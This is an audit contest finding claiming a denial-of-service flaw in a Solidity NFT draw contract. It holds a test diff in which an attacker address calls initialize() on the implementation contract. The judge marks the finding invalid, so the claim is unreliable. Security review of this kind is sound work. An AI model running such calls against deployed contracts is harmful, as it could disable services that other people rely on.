Attacker can disable contract functionality

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-forgeries/blob/main/src/VRFNFTRandomDraw.sol#L75

Vulnerability details

Impact

Current setup of the protocol is vulnerable to a DoS attack. This can be achieved by anyone calling initialize() on the implementation VRFNFTRandomDraw contract. With the implementation contract initialized the created clones cannot be re-initialized and hence the VRFNFTRandomDrawFactory contract makeNewDraw() function always fails.

Proof of Concept

This can be quickly verified with modifying one of the protocol tests:

diff --git a/test/VRFNFTRandomDraw.t.sol b/test/VRFNFTRandomDraw.t.sol
index a023626..95fb595 100644
--- a/test/VRFNFTRandomDraw.t.sol
+++ b/test/VRFNFTRandomDraw.t.sol
@@ -24,6 +24,7 @@ contract VRFNFTRandomDrawTest is Test {
     MockNFT drawingNFT;
     MockERC20 linkTokens;
     VRFNFTRandomDrawFactory factory;
+    VRFNFTRandomDraw drawImpl;

     VRFCoordinatorV2Mock mockCoordinator;

@@ -49,7 +50,7 @@ contract VRFNFTRandomDrawTest is Test {

         mockCoordinator = new VRFCoordinatorV2Mock(0.1 ether, 1000);

-        VRFNFTRandomDraw drawImpl = new VRFNFTRandomDraw(mockCoordinator);
+        drawImpl = new VRFNFTRandomDraw(mockCoordinator);
         // Unproxied/unowned factory
         factory = new VRFNFTRandomDrawFactory(address(drawImpl));

@@ -165,6 +166,7 @@ address sender = address(0x994);

     function test_TokenNotApproved() public {
        address sender = address(0x994);
+       address attacker = address(0x666);
         IVRFNFTRandomDraw.Settings memory settings;
         settings.drawBufferTime = 6000;
         settings.recoverTimelock = 2 weeks;
@@ -178,6 +180,11 @@ address sender = address(0x994);
         vm.prank(sender);
         targetNFT.mint();

+        // attacker disables the draw implementation contract ...
+        vm.prank(attacker);
+        drawImpl.initialize(attacker, settings);
+
+        // ... which renders the factory useless and makeNewDraw always fails
         vm.prank(sender);
         IVRFNFTRandomDraw draw = VRFNFTRandomDraw(factory.makeNewDraw(settings));

Notice the test fails with "Initializable: contract is already initialized" when the sender tries to call makeNewDraw().

I imagine this can be resolved with some effort and the fact that the protocol is upgradeable but since the protocol is supposed to follow the Hyperstructure concept I'm assuming the plan is at some point to revoke ownership to become or get very close to being an unstoppable contract. After revoking ownership this would be a fatal attack vector. This is why I'm considering the issue as High.

Tools Used

Manual review

Recommended Mitigation Steps

There's a few ways to correct this. I believe a good approach with not too much effort is to only allow the factory to call VRFNFTRandomDraw:initialize(). This could be done by using deterministic contract addresses using CREATE2.

[c4-judge]

gzeon-c4 marked the issue as unsatisfactory:
Invalid